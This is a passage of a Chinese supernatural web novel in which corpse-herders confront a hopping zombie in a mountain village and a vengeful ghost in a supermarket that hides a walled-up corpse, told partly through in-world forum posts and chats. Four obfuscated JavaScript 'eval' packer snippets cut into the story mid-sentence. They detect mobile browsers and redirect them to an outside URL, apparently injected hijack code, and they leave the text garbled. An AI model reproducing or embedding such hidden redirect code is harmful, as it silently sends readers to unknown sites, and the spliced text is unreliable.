徐歌在三全村里来回巡视,她发现原本被村民们挂在门口的蜡烛通通不见了,应该是像孟寻真家一样拿到院子里去点燃了。徐歌不禁想道,如果让那蜡烛灭了,会发生什么? 徐歌一边休息着周围的情况,一边掏出了手机。 山村里的信号一直时有时无,白天徐歌发给陆南的消息隔了大半天才传了过去,陆南几乎是在第一时间就回了消息: 【八方来财】:这里信号不好,我已经到三全村口了。-今天9:12 【文鸟】:好,一定要注意安全,不要过多依赖另一个赶尸人,他不一定靠得住。 -今天9:12 徐歌深呼了一口气,说到底自己前天才刚入职,直接对上跳僵,心里还是没有底,说一点也不怕那是假的。如果此时陆南也在,就不会出现现在这样单独守夜的被动情况了。 “姐姐。” 一个女孩的声音突兀地响起,徐歌吓得一个激灵,猛地转头发现一个满脸泪痕的小女孩正朝她走过来。 她的双手捧着一柄燃烧着的红烛,正用哀求的眼神看着徐歌:“我想去茅房,但太黑了我害怕……” 徐歌依旧保持着警惕:“你爸妈呢?怎么不陪你?” “他们说我只要捧着蜡烛,烛花娘娘就会保护我,”女孩越说越委屈,“但我还是害怕……” 徐歌端详着这个扎着冲天麻花辫的小女孩,她身穿红色波点裙,脚实实地踩在地上,该有的影子,瞳仁,也一样不少。 只是个普通的小女孩……看来四五岁的孩子还无法理解烛花娘娘的信仰,只是本能地惧怕黑夜而已,更别说附近还可以出现跳僵。 徐歌安慰女孩:“你要去的茅房在哪里?我跟你去。” 女孩的眼睛亮了一下,而后紧紧地贴在徐歌身边:“在前面的墙往东走就是茅房!” 去往茅房的过程中,徐歌悄悄用指头沾了刀上的一点公鸡血,假借整理衣服偷偷抹在了女孩的肩膀上,见女孩没有异常的反应,徐歌才彻底确认她不是邪祟扮来骗人的。 女孩进了茅房后,徐歌站在茅房外面守着,茅房后面是黑漆漆的树丛,似乎真的会随时窜出什么来一样。徐歌不敢懈怠,手持钢刀紧盯着那片区域。 时间一分一秒过去,树丛里没有动静,但女孩迟迟没有从茅房里出来。 徐歌有些担心地朝茅房里问了一句:“小妹妹,还没好吗?” 没有回应。 徐歌直觉不好,难道跳僵一开始就在茅房里?! 她刚要冲进茅房,就差点和往外走的女孩迎面撞上。 见女孩没事,徐歌松了口气,道:“怎么这么久才出来?刚刚喊你怎么没反应?” “因为我在上大号……”女孩扭捏地解释道,说着说着,像是看到了什么恐怖的东西,女孩脸色突然变了,蜡烛啪地一下从女孩手里掉到地上。 女孩哆哆嗦嗦地指向徐歌身后:“有,有怪物!” “啪。” 树枝被踩断的声音自身后响起,没有犹豫,徐歌直接拔刀转身一劈卸掉了来自身后的攻击,紧接着一脚将那东西踹出了一段距离。 在女孩惊恐的哭叫声中,徐歌看清了那个东西: 这是一具腐烂长毛的跳僵,空洞的眼眶里往外滴着尸油,密匝匝的绿色毛发遍布皮肤,脸腐烂了大半,尖牙森森地暴露在空气中。 徐歌刚才的一劈击中了跳僵的手掌,但并没有对跳僵造成什么实际的伤害,正当它将笔直的手臂重新对准徐歌时,鸡血起了作用,在它的手掌上滋滋地腐蚀出一股白烟。 像是有自我意识般,那跳僵唰地转身,一下子就跳进了树丛。 “别想跑!”徐歌提刀就要追上去,却被女孩的哭声绊住了脚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708415|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “别丢下我!我害怕……呜呜呜……” 跳僵逃跑的方向是徐歌来时经过的山林,一时半会儿威胁不到村里,犹豫了几秒,徐歌决定先把女孩安全送回去。她收起钢刀,回到女孩跟前安慰道:“没事了,我送你回家。” 女孩哭得一把鼻涕一把泪:“我不敢回家,我把蜡烛弄灭了,爸妈会打死我的……” 徐歌蹲下来捡起那节掉在地上的蜡烛,流下来的蜡油还带有一丝燃烧的时候的温度:“蜡烛灭了会怎样?” “爸妈说,如果蜡烛灭了,烛花娘娘就会剪断家里的烛心,家里的烛心断了,财运也会跟着断掉,我们家就再也挣不到钱了。 我是被乔大叔吓到才松的手,我,我不是故意的……” 徐歌睁大了眼睛:“等等?被谁?你认识这个跳僵?” 见女孩还是哭得厉害丝毫听不进去她的问题,徐歌灵机一动,掏出燃烧符来点着,然后将符咒上的火焰过到了蜡烛上。 眼见得蜡烛被重新点燃了,女孩这才勉强停止了哭泣,抽了抽鼻子重新把蜡烛捧到了手里。 也不知道重新点上还算不算数……总之先蒙混过关再说吧。 “你刚刚叫那个跳僵‘乔大叔’?” 女孩吸了吸鼻涕:“我之前见过乔大叔,他的中指缺了一截,很吓人,所以我记得。我也记得乔大叔穿过它身上那件一模一样的衣服。” 徐歌回想那个跳僵尖锐的爪子,右手中指的的确确是断掉的。这样一个小女孩,在恐惧的情绪下居然还能发现这个细节。 ——帮大忙了,这样一来说不定可以直接顺藤摸瓜,把它尸变的原因揪出来。徐歌继续问道:“那你和他很熟吗?” 女孩摇摇头:“我只在村长爷爷家见过他一次。” 看来这个村长家是非去不可了。 女孩捧着重新燃起的蜡烛,带着徐歌来到了家门口,她上前敲了敲门,朝着里面喊道:“我回来啦!开开门呀!” 院子里的脚步声由远及近,过了几秒,一个盘发的中年妇女打开了院门。在微弱的烛光下,妇人脸上的表情看起来很麻木,或者说根本看不出她的表情,整个人散发着一股僵硬的感觉。 妇人牵过女孩,连看都没看徐歌一眼,就在大门要关上的瞬间,徐歌将一只脚卡在了门缝里,问了一句:“村长家在哪里?” 妇人的嗓音很嘶哑,似乎好几年都没发声说话了:“东三户。” 还没等徐歌回答,妇人重新砰的一声关上了大门。 这里人的脾气果然很怪。徐歌也懒得计较,掉头去找位于东三户的村长家了。 院子里,女孩拿过妇人手里的蜡烛,哐镗一下扔在地上,又用脚在上面挑衅似的撵了撵。她咧开一口尖牙对那妇人道:“滚回去躺着吧。” 那妇人收到命令后便朝着屋内挪去,却在进门时被门槛拌了下脚,而后直挺挺地摔在地上发出一声巨响,女孩看见她的脑浆流到地板上,走过去一脚把她的脖子踹正了:“炼你这具活尸有个屁用!废物东西!赶紧滚!” 这具妇人活尸被打骂后,毫无知觉地爬起来,自己打开棺材踉踉跄跄地躺了进去。 24.山村跳僵 6 <欢迎使用长声> <天长地久有时尽,此声绵绵无绝期> <如有问题可联系长声负责人> <> 负责人2:赵不见> …… <私信> 【与你无关】:庙会上卖的糖人老便宜了,你来不来啊?-昨天3:08 【文鸟】:……你要不要看看现在几点?-昨天3:15 【与你无关】:你不也没睡呢吗。-昨天3:18 【文鸟】:你自己吃吧。-昨天3:21 【与你无关】:增宝超市出现了怨魂,我算着这地方大概率很凶,需要你和黄明虎去一趟。-今天7:02 【文鸟】:收到。-今天7:05 <帖子广场> 【增宝超市命案】发帖人:小萍果-昨天16:00 今日中午,增宝超市发生命案。 死者是太平街的王梅,在超市门口喝了一瓶除草药,当场死亡。 目击者称,死者到超市购物,在付钱的时候口袋里掉出来一个塑料玩具,被工作人员发现后扣留。但死者不承认自己偷东西,在双方争执中,死者的假发被工作人员打落,死者不堪屈辱后自杀。 为此,已对超市进行追责。 <评论区> 【噼里啪啦小老虎】:我中午去超市的时候还遇到她了,那时候门口就一股很大的药味,她坐在门口还跟我点头打招呼……我也没想到是她喝了农药……等我出来的时候她吐了好多白沫,已经不行了……-今天16:05 【照照】:楼上不要自责,就算你一开始发现她服毒了,等送去医院也已经来不及了,这种草药很毒,一旦喝了就没救了。-今天16:06 【安乐人生】回复【照照】:我家常用这种除草药,一瓶盖下去草叶子没有一片绿的,想想就知道这药有多毒了,人喝了还了得!-今天16:06 【安乐人生】:这超市真是仗势欺人!-今天16:06 【大锤】:王梅——阳阳妈啊。听说阳阳妈一开始没打算自杀的,回家了之后她爹听说了这件事把她又批了一顿,说她丢人啥的,反正挺难听的,她出了家门这才买了药去自杀的。-今天16:28 【停云跃川】:阳阳妈是从其他街区改嫁过来的,之前她得了脑瘤,她前夫不要她了,娘家人出钱给治好了,但是头盖骨因为手术缺了一块,就一直戴着假发。后面嫁到太平街,现任也整天嫌她丑,她本人也很自卑。-今天16:30 【安乐人生】:怪不得她假发掉了反应那么大,还被那么多人围观……一时半会儿受不了才……-今天16:32 【大锤】:就是可怜了她那个儿子阳阳,才六七岁就没妈了。-今天16:36 【大锤】:平时没听说阳阳妈有偷鸡摸狗的习惯,她平时很老实安静一人,也不敢干什么,估计就是东西放口袋里结账的时候忘了拿出来了。-今天16:44 【停云跃川】:唉……也是个可怜人啊。-今天16:47 <私信> 【与你无关】:对了,关于孟寻真那天拿出来的黑符,你知道多少?-今天16:52 【文鸟】:不清楚,黑符主要是一些邪修的术士使用,孟寻真不是术士,应该是受到过某个人的指示。-今天16:53 【文鸟】:我没有把符咒乱给别人的习惯。-今天16:53 【与你无关】:但你没少给徐歌吧。-今天16:57 【文鸟】:普通符咒烧灵力,黑符烧的是阳寿,就算是徐歌我也不会把黑符交给她。-今天16:58 【与你无关】:我不是在怀疑你啦。-今天16:58 【与你无关】:不过你也少用黑符吧,即使阴童子用黑符威力再怎么大,用阳寿来换也不值当。-今天16:59 【文鸟】:还不是拜你所赐?说起来,你拉徐歌入局这件事我还没找你算账。-今天17:01 【与你无关】:诶~你这样说我好受伤的,我这是关心你诶。-今天17:01 【文鸟】:增宝超市的老板,也就是这次的委托人,又是马慈?-今天17:02 【与你无关】:对,他生意做的还挺大的,恒盛的很多店铺都在他的名下。-今天17:03 【文鸟】:你知道“烛花娘娘”吗?-今天17:05 【与你无关】:有所耳闻,是三全村那边信的地方仙吧?不过祂不是什么正路子上的仙,原本三泉村的老龟就是祂设计杀的。-今天17:06 【与你无关】:专心自己的委托吧~就这么放心不下徐歌?-今天17:07 【与你无关】:徐歌有山鬼花钱傍身,只要不主动招惹,灯花娘娘就不会对她下手。-今天17:08 【文鸟】:知道了。-今天17:09 <帖子广场> 〖墙上的人脸〗发帖人:【许个愿望】-今天15:02 今下午,我被我妈打发去买菜,我家就在增宝超市对面那条街,每每出门都会路过增宝超市。当时我不知道有人在那里自杀了,而且超市仍旧人来人往的看不出异常,我就进去买菜了。 但是一走进去,我就觉得不对劲。 超市虽然灯火通明,却一个人都没有,就连结账的收银员也不在,我提着芹菜茄子在超市里逛了一圈儿,试图找到一个工作人员。后来还真让我找到了,我看见那人推着一个空的推车,正朝着超市储物室那边走。 我就在后面叫他,想问问收银员去了哪里,他听了我的话回过头来向我招了招手,我看见他的脸,不对,那不是脸,是一面墙,原本应该长着五官的位置上,是一块白花花的墙…… 更恐怖的是,我转头要跑,余光看见了旁边的墙上,黏糊糊地粘着一张人脸!那应该就是他原本的脸…… <评论区> 【小染】:可信度很低……出了那么大的事儿你居然一点儿也不知道?还进去买菜?-今天15:07 【许个愿望】回复【小染】:你能不能认真看看帖子……平时我妈不让我玩手机我也不知道这消息啊,我现在都怀疑我进的是不是原本的那个增宝超市……-今天15:09 【丢丢】:吓死人了,我以后可再也不去增宝超市了。-今天15:10 【噼里啪啦小老虎】:天呐,你后来是怎么逃出来的??-今天15:13 【许个愿望】回复【噼里啪啦小老虎】:我当时就被吓跪了,正当我以为自己要折在那里的时候,是一个穿着黑色风衣的男人把我救了出去,可惜我没有看清楚他的脸,不然我肯定要登门致谢的。-今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710890|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天15:14 【噼里啪啦小老虎】回复【许个愿望】:这想必是个不愿意透露姓名的高人。逃出来了就好,大难不死必有后福!-今天15:15 【老张爱跳舞】:增宝超市好像也是马慈名下的吧?前一阵舞厅出了事,紧接着超市又来了,马慈不会是被人做局了吧?-今天16:57 【温暖】:要不是超市管理不当,也不会有人自杀,说到底这次是增宝超市的问题才对。-今天16:58 …… 〖寻人启事〗发帖人:【观潮】-7天前18:45 我的丈夫乔玉林于半个月前于纶里市失踪,广大网友如果发现他的踪迹,请第一时间告知我,必有重谢!!! 乔玉林,男,47岁,身高174厘米,失踪时穿着一身黑色运动服,左手中指缺了一截。 附照片(照片上是一个严肃的中年男人,五官扁平眼睛细小。) 〖寻人启事〗发帖人:【请帮我找到女儿】-三天前7:21 我的女儿,王红,22岁,大概一米六,偏胖,绑着低辫子,是增宝超市的售货员,失踪七个月了还没有找到,求求大家帮帮我! 附照片(照片上是一个模糊的女性,面部模糊不清) <评论区> 【小稻穗】:我也是增宝超市的员工,我从没记得有这个同事啊……-两天前15:39 …… <私信> 【八方来财】:这里信号不好,我已经到三全村口了。-今天9:12 【文鸟】:好,一定要注意安全,不要过多依赖另一个赶尸人,他不一定靠得住。 -今天9:12 …… 【杯莫停】:陆南!这次可轮到咱俩人搭档了!-今天18:46 【杯莫停】:听说你带来了一个零基础的小姑娘,培训了短短一周就顺利通过了新手考核?她在哪个宿舍?有空我得去找她喝一杯!-今天18:46 【文鸟】:你应该有印象,就是你耍酒疯把门劈坏的那间。不过我提醒你一句,你要是喝的醉醺醺地去敲门,会被打得很惨。-今天18:50 【杯莫停】:那我们还是聊聊增宝超市的委托吧。-今天18:53 【杯莫停】:感觉这次委托很简单,把那个自杀的人的怨魂解决就行了。-今天18:53 【文鸟】:怨魂的行为会和生前的某些行为挂钩。王梅是喝农药自尽的,但超市里的怨魂作祟的形式却是围绕“墙壁”和“人脸”。-今天18:54 【杯莫停】:所以说可能另有其人——不对,另有其魂!-今天18:55 【文鸟】:……总之明天下午六点,增宝超市见。-今天18:56 私信>评论区>评论区>帖子广场>私信>评论区>帖子广场>私信>如有问题可联系长声负责人>天长地久有时尽,此声绵绵无绝期>欢迎使用长声> 25.山村跳僵 7 陆南提前到了增宝商场门口。他的腰间别着那柄刺杀纸人的桃木剑,手中是雷击枣木材质的符棍——但凡是被这根符棍碰到的怨魂,轻则被灼伤,重则直接魂飞魄散再不入轮回。 由于前天一晚上为徐歌写了近百张符咒让陆南的灵力几乎见底,把徐歌送上火车后,陆南在宿舍昏睡了整整一天,所以此行他没有携带需要灵力催动的法器。 至于受过的伤以及方冉双不让他剧烈活动的医嘱,陆南从来没有放在心上过,反正对他来说,哪怕是伤上加伤,只要死不了,磕磕绊绊地也总能好起来。 陆南先在外面观察了一圈,增宝商场共有两层,外部墙体没有窗户,而且只有正门这一个出口。整个商场让陆南感觉到一种莫名的压抑,增宝商场营业的时候人来人往灯火通明,鼎盛的人气削弱了这股压抑,如今商场歇业,这股令人不适的感觉就显得格外明显。 待陆南逛完一圈儿,黄明虎一晃一歪的身影才从街上拐过来,他一只手里是一把桃木剑,另一只手里还拿着一瓶开了盖的啤酒。 见黄明虎一股酒腥气地过来,陆南不咸不淡地说道:“出任务还喝酒,被怨魂拖下去了我可不会管你。” 黄明虎倒是毫不在意:“放心,我不拖累你!”他晃了晃手中的酒瓶,想搭上陆南的肩膀,却被陆南侧身躲过。 陆南头也不回地向增宝商场里走去,黄明虎脚底拌蒜似的跟在后面,在迈进大门的时候,黄明虎停了一下道:“那个啥,阳阳妈就是在这里喝药自杀的吧?” 问完后,黄明虎干脆利落地打了一个充满酒气的嗝,将陆南和他之间拉长了至少三米的距离。 陆南忍着把他踹出去的冲动回答:“对,她刚刚还在门口站着呢。” 黄明虎听到这里打了个寒颤,他一下子跳到陆南身边,又把陆南逼退了几米,仿佛他才是那个怨魂似的。 过程中黄明虎还嘟囔了一句:“有时候真挺庆幸我没有阴阳眼的,白天也全是那玩意儿非得给我吓出精神病来不行。” 等到了楼梯口,陆南提议道:“分头调查吧,我去二楼。” 黄明虎晃着剩下的半瓶啤酒答应道:“行嘞!” 二楼大部分是与增宝商场合作的独立的餐饮门店,店门口卷帘门紧闭,陆南打着手电筒在二楼搜索了一圈,没有发现任何线索。 等他回到商场一楼,听见似乎有鼾声传来,他循声用手电筒照过去,居然是黄明虎四仰八叉地躺在地板中央没心没肺地睡着了。 陆南:…… 真不知道这人是怎么通过的考核,没本事,纯命硬。哪怕是在阴宅里也能两眼一闭呼呼大睡,而且还莫名其妙地活到了现在,八字硬到写在纸上怕是能拿去砍树。 上次的委托,黄明虎在里面喝了酒睡了半天,活着回了宿舍,怨魂倒是一点也没解决,还跟屋主说房子没事放心住,差点把人家害死。 一点也指望不上这个搭档。陆南自己拿着手电筒又在一楼搜索了一圈,回到商场大门,一股刺鼻的农药气息开始弥漫,阳阳妈的怨魂重新出现了。 陆南被呛得咳嗽两声,用手电筒对准了门口:披头散发的怨魂面朝门站着,没有攻击也没有逃跑的意愿。 “你是想要出去吗?”陆南按照流程点燃了问告符,“你还挂念着外面的什么?” 怨魂缓慢地转过头来,它大张着嘴巴,不断有黑色的粘稠液体从里面滴落,眼神茫然。 一些怨魂会遗忘自己生前的记忆,这往往给沟通造成一定难度:“你还记得自己的名字吗?王梅?” 怨魂扯开嘴巴,大量的黑色液体朝着倾泻而出——沟通失败了!陆南皱了皱眉,拿出燃烧符往脚下一抛,瞬间把那些黑色的东西给烧退了,但治标不治本,它的嘴仍旧源源不断地往外吐出黑色液体,很快又漫了过来。 执念太深,怨气太重,要想短时间内解决就只能过煞了。想到这里,陆南深吸一口气,站直了身体,将手腕上的两串流珠都取了下来。 怨魂像是受到了极大的诱惑,它嘶吼着扑向陆南,在接触到他身体的瞬间,从他的胸膛里穿了过去! 在这个穿胸而过瞬间,陆南已经用身体吸收了它大部分的怨气,紧接着一股恶心的感觉从陆南的胃里直捣大脑,冷汗随之从毛孔中汹涌而出。 怨气本身作为混沌的一种,会打乱人体的秩序,产生很严重的排异反应。好在那怨魂经过过煞之后就温顺了不少,它停止了攻击的动作,茫然地立在一旁。 陆南弯腰大口地呼吸着空气,按照之前的方法调动自身的灵力度化着体内的怨气。 “你叫王梅,最开始住在长乐市,后移居到恒盛市,今年38岁,”陆南忍着头晕恶心,重新尝试和怨魂沟通,他斟酌着用词,尽量不刺激到它,“家里有一个儿子叫阳阳……” 在陆南说出阳阳这个词时,怨魂的动作停滞了,而后黑色的液体便从它的眼眶中涌出,它一改刚才茫然的状态,转而用手狠狠地拍打着大门。 它想出去,再看看阳阳。 如果想带它出去只有两个方法,一是让它附在自己身上,二是借助藏魂罐。第一种方法是不可能采用的,一旦被怨魂附身,就容易做出十分危险的行为。 陆南将目光投向了黄明虎手旁那个空酒瓶。 ……虽然不是藏魂罐,但多费一些灵力也能把怨魂封在里面大半天。 陆南拿过酒瓶,咬破自己的指尖,用血在瓶底画了一个符号,然后念动口诀,顷刻间,四周的空气裹挟着那个哭泣的怨魂朝着瓶子里涌入。 重新盖好盖子,陆南将手腕上的朱砂串缠绕在了瓶子上,他将瓶子拿在手里,酒瓶莫名有一股温暖的触感。 陆南很快意识到不是酒瓶变热了,而是自己的体温低得吓人。 好冷,陆南的身体在告诉自己,不能再透支灵力了。他靠在大门上,缓了好一会儿才重新站起身来。 当他拿着手电筒再一次经过鼾声如雷的黄明虎旁边,却敏锐地察觉到了一丝异样。 刚刚黄明虎躺着的地方……离墙壁这么近吗? 陆南一脚把黄明虎踹得翻了个面,一道道黑色的手臂赫然出现在黄明虎刚刚躺着的地方,以飞快的速度往墙里缩去。 它们是在把黄明虎往墙里拖! 黄明虎挨了这一脚刚要破口大骂,但好在眼睛长在嘴前面,在看见那几条黑手臂后就识趣地把跑到嘴边的话又咽了下去。 陆南近距离观察那堵墙面,发现上面有一处墙皮和其他地方的颜色不同,似乎是新砌上去不久,他用指节叩了叩这个地方,回声空洞与其他地方不同。 “这里面有东西。”陆南说道。 黄明虎闻言把货架拖到旁边,用手摸了摸那堵墙,道:“你带爆破符没?” 陆南叹了口气:“你自己没带?” 黄明虎不好意思地笑道:“我这不是就带了把桃木剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715789|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 见陆南不再理会自己,黄明虎又敲了敲那面墙,判断这新砌上的地方并不厚:“我能踹开!” 说罢他摆好架势,借着喝了酒的劲儿硬是将墙踹了个洞。 有这蛮力倒是适合当赶尸人去和跳僵摔跤……不知道徐歌那边有没有遇上危险。 就在陆南分神的时候,黄明虎突然急促地叫了一声:“人手!墙里有人手!” “不然你觉得墙里会有什么?钱吗?”陆南说着上前和黄明虎一起把墙扒开,一股腐臭味直冲陆南的鼻腔,他扶着粗糙的砖墙,一阵剧烈的咳嗽让他不得不弯下腰。那股难以言喻的恶臭直往胃里钻,陆南先前强行压下去的恶心瞬间卷土重来。 胃里猛地一阵翻搅,他捂着嘴干呕了一下,冰冷的汗水瞬间浸透了额发和衣衫。陆南的眼前阵阵发黑,墙壁冰冷的触感透过掌心传来,还隐约听见黄明虎醉醺醺的打趣:“小趴菜这就不行了?更臭的我也见过……” 陆南抬头幽怨地看了他一眼,什么也没说,却把黄明虎看得后背发毛,酒直接醒了大半。 等到清理完毕,赤裸裸的一具女尸赫然出现在二人眼前。 陆南道:“联系方冉双来验尸吧,就说发现了新的尸体。” …… 咚咚咚。 陆南敲响了停尸间的门,此时已经是第二天正午。 推门进去,方冉双正坐在床边,指尖夹着一根燃烧的香烟,床上依然是一具盖着白布的尸体。 一人一烟一白布,每次进去,停尸间都是这样的景象,只是不知道那相同的白布下面的尸体换了有多少具。 见陆南盯着自己手里的香烟,方冉双把它放到嘴边吸了一口,缓缓吐出烟雾来:“在停尸间里抽烟,害不了几个活人。” 陆南笑笑,接着上前询问起昨天墙里的尸体。 “她是被人勒死的,死后被封进了墙里,而且死了得有三四天的时间了,”方冉双递给陆南一张纸,“她的信息是梁必先连夜查出来的,你看看吧。” “李宵美,女,43岁,纶里市人士,自由职业,家庭成员有丈夫乔玉林,无儿无女。” 乔玉林?陆南觉得这个名字有些眼熟,他在长声的一则寻人启事上见过,而发布那则寻人启事的人是他的妻子,也就是这个死者。 丈夫失踪,妻子被杀。 “接下来呢?干什么?”方冉双发呆似的盯着空中的烟,不知道是在问自己还是问陆南。 陆南回答道:“接下来我会先去解决王梅,也就是阳阳妈的怨魂,然后再去增宝商场调查,你这几天应该也会在商场里忙。” 方冉双略带惊讶地挑了挑眉:“我?我不是你们这些体力疯子,我可不擅长出外勤。” “吴关早晚会安排你到那里去的,”陆南瞥了一眼盖着白布的尸体,“墙里的尸体,恐怕不止一具。” “那看来停尸间的床位应该扩充一下了,”方冉双捻灭了烟头,继续说道,“对了,组织里又来新人了。” “这几天怎么招人这么顺利?” “是啊,听黄明虎说那人叫什么,‘黑狗’?大概下周就能来入职的样子。” 什么人能叫自己黑狗?陆南没有继续考究,毕竟组织里的员工经常更替,说不定他和那个人根本都没有见面的机会,所以叫什么是谁也都和他没什么关系。 和方冉双道别后,陆南拿着装着怨魂的酒瓶来到了街上。 26.山村跳僵 8 刚转过街角,陆南就看见一个巨大的花圈横贯在增宝商场门前的街道上。 “你们这群丧良心的害了我女儿——她命苦啊!!”老人扑在地上喊得撕心裂肺。 看热闹的人群像篱笆一样围堵在商场门口,跟着老人一起控诉商场的暴行。陆南抱着瓶子找了个僻静的地方观察起来。 一个中年男人手里捧着遗照,在老人喊累了去换气的时候唾沫横飞地接上:“我的媳妇儿都是这家商场害死的!!!以后谁还敢来?当心都被冤枉成小偷啊!!” 这些话他说得一气呵成毫不拖泥带水,但无奈肺活量不够,一连几句之后就弹尽粮绝气若游丝了。陆南听了听,男人冗长的发言可以被炼成两个字:讨钱。 “马慈来了!商场老板来了!”人群骚动起来。 马慈从车上下来,脸上一如既往地挂着油腻腻的笑:“你们别激动,关于,呃……这个母亲的死,我真的很抱歉,我能赔给你们的,我都赔!” “俺们阳阳妈不得安息啊!”老人颤抖着手,拉过一个小男孩,“俺们阳阳,才七岁,就没了妈啊!!” 男人将遗照啪地立在商场门口,把男孩拉到一旁:“看看我们孩子吧,没有五千块钱,俺们不算完!!” 小男孩被那两个人扯来扯去,瘦小的身躯一个不稳就摔在了地上,马上又被男人揪着后颈提溜起来。 “哭啊,你怎么不哭?!”陆南听到了男人压低了声音的责备。 男孩扯着男人的衣角:“我们不要钱,要妈妈好不好……” 男人将他的手一下子拍开:“人都死了,不要钱我拿什么养你?!” 老人狠狠剜了男人一眼,责备他的出言不逊,而后赶忙找补道:“看看!看看!俺外甥孝顺呐!不要钱,要妈!” 人群愈发地觉着男孩可怜,于是纷纷应和道:“是啊,给个说法!”“孩子还这么小!” 马慈伸出双手安抚人群:“大家放心!我一定给你们一个交代……” 陆南收回视线,此时一只黑色的蝴蝶翩翩地飞过来,陆南打开瓶盖,将那缕魂魄引到了那只蝴蝶上。 蝴蝶绕着陆南微凉的指尖飞了一圈,似乎在表达感谢。“你只有十分钟的时间——去见他吧。”陆南轻轻地说道。 蝴蝶煽动着翅膀,飞向人群,在间隙里艰难地穿梭着。她飞不上辽阔的天空,但她不肯落地,就仿佛这一生都未曾落地。 最终,她收敛翅膀,落到了男孩胸前。 她在停留了许久,没人注意到这只蝴蝶。只有男孩像是感应到什么一般低头看见了她,呆愣了一阵后,放声大哭。 …… 陆南一边将朱砂手串缠回自己的手腕一边往宿舍走去。街边,一群孩子围成圈儿玩着“打宝”游戏,即用纸片叠成方形的“宝”,谁先把对方的“宝”打得翻了面,就可以把对方的“宝”赢到自己手里。 这个游戏从陆南小时候一直流行到现在,徐歌当年还凭借着出色的打宝技术成为了称霸一方的孩子王,陆南经常把自己写剩下的本子纸撕下来给徐歌打宝玩,只不过后来被某个嫌孩子不务正业的家长一锅端了,徐歌为此还惋惜了好久。 想到这些往事,陆南轻轻勾起嘴角,经过那群玩得热火朝天的孩子堆时还侧头看了他们一眼。 没走几步,陆南又退了回去。 “……你在这里干什么?”陆南朝着一个蹲在孩子堆里的一个熟悉的人影问道。 啪! 那个身影正全神贯注地玩着打宝游戏,似乎没有听见陆南的话。 陆南用脚尖踢了那人一下,对方才笑嘻嘻地抬起头来:“呦,陆南!你也是过来玩的?” 旁边的一个小男孩仰起脸,吸溜着鼻涕对着陆南说道:“你是来投靠我们老大的吗?” 陆南:…… “不要杀我们老大啊啊啊啊!” “你要把老大带去哪里!!” 陆南把吴关拖到外面,上下打量了一圈对方,道:“行啊吴关,给别人派上九死一生的任务,自己倒在这里混上了老大,挺有闲情逸致的呢?” 吴关一副我听不懂你说什么就当你夸我的样子,从口袋里掏出一把宝来展示给陆南:“看我赢过来这么多,厉害吧?” 眼见得陆南拿出符棍要把自己连同这些宝一起夯死,吴关赶紧重新开口道:“其实我是在打探消息。” 陆南挑了挑眉毛:“所以呢?有什么收获?” 吴关又把那一口袋宝掏了出来:“这不就是收获——诶等等等等,这些不是一般的宝,给你俩你回去自己看嘛!” 陆南收起符棍接过那两个“宝”,半信半疑地将它放到了口袋里。 吴关掏出手机来看了看时间:“自杀那人的怨魂,你解决了?” “嗯,”陆南点点头,“我用蝴蝶做媒介,让她去见了自己的孩子,刚刚已经把她送走了。剩下的商场墙里的那具尸体,我回去就……” 吴关挥挥手打断了陆南:“虽然作为头头儿跟员工说这些有点奇怪,但是你工作也别这么拼吧,你都几天没休息了?” 陆南顿了一下,他的确很累了,也想过停下来,但是他也不知道怎么才能停下来。常年的凶宅试睡工作让他精神紧绷,说到底他无法摸清这条路到底通向哪里,当他在黑暗中等待怨魂的时候,他甚至会怀疑这个机遇是不是根本就是一个谎言。 直到他打开402的门,徐歌带着一大包行李出现在自己眼前,那一天他几乎就要掩饰不住自己的绝望,是因为自己的命格吗?难道要连累自己想要一直守护的人去死?? 当他鼓足勇气见到徐歌,却又控制不住地自私地庆幸,庆幸这条路上他终于有了伴儿——无力与愧疚无时无刻不在撕扯着他,他只有不停地工作,工作,工作,才能让自己没空去想。 陆南感觉心里有一口锅在烧水,水已经烧干了,火却还是那么旺。 陆南无力地笑了一下,对吴关道:“干活挣钱,有什么不好?这次委托可是能给五千块呢。” “你如果为了那点钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720452|187291||http|test|mini|href|location''.split(''|''),0,{})); () { 